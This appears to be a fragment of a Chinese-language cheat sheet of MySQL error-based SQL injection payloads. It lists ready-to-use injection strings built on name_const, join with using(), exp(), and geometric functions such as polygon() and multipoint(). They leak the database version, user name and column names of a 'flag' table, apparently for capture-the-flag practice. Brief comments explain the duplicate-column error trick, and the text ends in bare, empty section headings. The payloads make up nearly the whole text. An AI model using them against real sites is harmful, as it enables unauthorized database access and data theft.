and (select * from (select name_const(version(),1),name_const(version(),1))a)-- -
join[爆字段名或者无列名注入]
and (select * from(select * from flag a join flag b using(f14g))c)-- -
# 原理是在使用别名的时候,表中不能出现相同的字段名。利用join把表扩充成两份,在最后别名c的时候查询到重复字段,就成功报错.
# using(已知列名)---用于爆其他列名,可不要
exp
and exp(~(select * from (select user())a))-- -
geometrycollection()
and geometrycollection((select * from(select * from(select user())a)b))-- -
polygon()
and polygon((select * from(select * from(select user())a)b))-- -
multipoint()
and multipoint((select * from(select * from(select user())a)b))-- -
multilinestring()
and multilinestring((select * from(select * from(select user())a)b))-- -
multipolygon()
and multipolygon((select * from(select * from(select user())a)b))-- -
linestring()
and linestring((select * from(select * from(select user())a)b))-- -
0x01[漏洞原理]
0x02[语句利用]
0x03[常用Payload]